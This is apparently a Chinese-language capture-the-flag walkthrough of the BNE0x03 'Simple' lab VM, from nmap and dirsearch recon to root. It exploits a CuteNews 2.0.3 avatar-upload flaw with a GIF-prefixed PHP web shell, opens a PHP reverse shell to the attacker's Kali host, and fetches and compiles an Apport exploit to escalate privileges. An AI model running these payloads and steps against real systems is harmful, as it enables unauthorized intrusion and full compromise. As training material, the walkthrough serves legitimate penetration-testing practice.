SecTalks：BNE0x03 - Simple
主机发现端口扫描
使用nmap扫描网段类存活主机
因为靶机是我最后添加的，所以靶机IP是
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18nmap -sP 192.168.75.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:38 CST
Nmap scan report for 192.168.75.1
Host is up (0.00024s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00021s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.170
Host is up (0.000088s latency).
MAC Address: 00:0C:29:B4:EA:57 (VMware)
Nmap scan report for 192.168.75.171
Host is up (0.00032s latency).
MAC Address: 00:0C:29:B4:EA:57 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00022s latency).
MAC Address: 00:50:56:EC:C5:A4 (VMware)
Nmap scan report for 192.168.75.151扫描主机开放端口
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8nmap -sT -min-rate 10000 -p- 192.168.75.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:39 CST
Nmap scan report for 192.168.75.170
Host is up (0.00075s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:B4:EA:57 (VMware)扫描主机服务版本以及系统版本
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14nmap -sV -sT -O -p80 192.168.75.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:42 CST
Nmap scan report for 192.168.75.170
Host is up (0.00056s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:B4:EA:57 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop扫描漏洞
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50nmap -script=vuln -p 80 192.168.75.170
PORT STATE SERVICE
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.170
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.75.170:80/
| Form id: login_form
| Form action: /index.php
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| Path: http://192.168.75.170:80/index.php
| Form id: login_form
| Form action: /index.php
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| Path: http://192.168.75.170:80/?register&lostpass
| Form id:
| Form action: /index.php
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| Path: http://192.168.75.170:80/?register
| Form id: regpassword
| Form action: /index.php?register
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| Path: http://192.168.75.170:80/index.php?register
| Form id: regpassword
|_ Form action: /index.php?register
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| http-enum:
| /rss.php: RSS or Atom feed
| /core/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
| /docs/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
MAC Address: 00:0C:29:B4:EA:57 (VMware)
web渗透
先扫描吧
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18dirsearch -u 192.168.75.170 -x 403
//
[13:50:50] Starting:
[13:51:13] 301 - 314B - /core -> http://192.168.75.170/core/
[13:51:16] 301 - 314B - /docs -> http://192.168.75.170/docs/
[13:51:16] 200 - 507B - /docs/
[13:51:18] 200 - 4KB - /example.php
[13:51:18] 200 - 1KB - /favicon.ico
[13:51:22] 200 - 1KB - /index.php
[13:51:22] 200 - 1KB - /index.php/login/
[13:51:25] 200 - 1KB - /LICENSE.txt
[13:51:36] 200 - 28B - /print.php
[13:51:37] 200 - 2KB - /README.md
[13:51:39] 200 - 118B - /rss.php
[13:51:39] 200 - 758B - /search.php
[13:51:42] 301 - 315B - /skins -> http://192.168.75.170/skins/
[13:51:48] 301 - 317B - /uploads -> http://192.168.75.170/uploads/
[13:51:48] 200 - 408B - /uploads//uploads/应该是一个上传目录- 通过README等来看，CMS能确定是
CuteNews 2.0.3
查阅CMS是否存在漏洞
searchsploit扫描出任意文件上传漏洞1
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6searchsploit CuteNews 2.0.3
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CuteNews 2.0.3 - Arbitrary File Upload | php/webapps/37474.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------拉取下来，跟着步骤走
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46CuteNews 2.0.3 Remote File Upload Vulnerability
=================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm T0x!c member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability
# Date: [02/07/2015]
# Exploit Author: [T0x!c]
# Facebook: https://www.facebook.com/Dz.pr0s
# Vendor Homepage: [http://cutephp.com/]
# Software Link: [http://cutephp.com/cutenews/cutenews.2.0.3.zip]
# Version: [2.0.3]
# Tested on: [Windows 7]
# greetz to :Tr00n , Kha&mix , Cc0de , Ghosty , Ked ans , Caddy-dz .....
==========================================================
# Exploit :
Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal
1 - Sign up for New User
2 - Log In
3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal
4 - Select Upload Avatar Example: Evil.jpg
5 - use tamper data & Rename File Evil.jpg to Evil.php
-----------------------------2847913122899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\
6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php
Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php尝试利用CMS漏洞
注册新用户
随便填一下，我填的
sunsetAa118811登陆进去来到
Dashboard>Personal options上传图片马然后抓包修改文件后缀为
.php1
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3# shell2.jpg
GIF89a
<?php system($_GET['a']); ?>1
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7-----------------------------228896324810094846214215287044
Content-Disposition: form-data; name="avatar_file"; filename="shell2.php" //修改后缀名
Content-Type: image/png
GIF89a
<?php system($_GET['a']); ?>
-----------------------------228896324810094846214215287044CMS提示
upload successfully
在
Dashboard>Personal options复制头像链接，然后加上a参数尝试1
2# /uploads/avatar_sunset_shell2.php?a=ls
GIF89a avatar_sunset_shell2.php成功，我们执行反弹
shell代码，同时kali开启监听1
php -r '$sock=fsockopen("192.168.75.151",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
注意进行
URL编码1
/uploads/avatar_sunset_shell2.php?a=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%37%35%2e%31%35%31%22%2c%31%32%33%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27
获得
shell
提权
查看权限
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6$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ uname -a
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux敏感信息搜索，没找到扫描有用的信息
尝试内核提权
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18searchsploit Linux Kernel 3.16.0 | grep Local
//
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation | linux/local/50135.c
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | linux/local/41886.c
Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation | linux/local/34923.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation | linux_x86-64/local/44302.c
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service | linux/dos/42136.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation | linux/local/45553.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux Kernel < 4.14.rc3 - Local Denial of Service | linux/dos/42932.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c尝试了几个无法提权，使用
Ubuntu 14.04进行搜索1
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24searchsploit Ubuntu 14.04
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation | linux/local/37088.c
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation | linux/local/36782.sh
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution | linux/local/40937.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation | linux_x86/local/42276.c
Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access /etc/shadow) | linux/local/39771.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt
Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation | linux/local/41999.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) | linux/local/39166.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation | windows_x86-64/local/47170.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
NetKit FTP Client (Ubuntu 14.04) - Crash/Denial of Service (PoC) | linux/dos/37777.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation | linux/local/41762.txt
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation | linux/local/36820.txt
WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based Buffer Overflow | linux/local/44204.md
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------第一个就是本地权限提升的，我们尝试一下
37088.c，查看文件没有特殊的编译要求，我们将它下载到靶机，然后编译执行，提权成功1
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29$ wget 192.168.75.151/37088.c
100%[======================================>] 6,027 --.-K/s in 0s
2024-10-30 02:50:19 (34.9 MB/s) - '37088.c' saved [6027/6027]
$ gcc 37088.c -o 37088
gcc 37088.c -o 37088
$ ./37088
./37088
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 1559
apport stopped, pid = 1560
getting pid 1559
current pid = 1558..2500..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..
** child: current pid = 1559
** child: executing /bin/su
Password: sleeping 2s..
checker: mode 4516
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
'id
uid=0(root) gid=0(root) groups=0(root)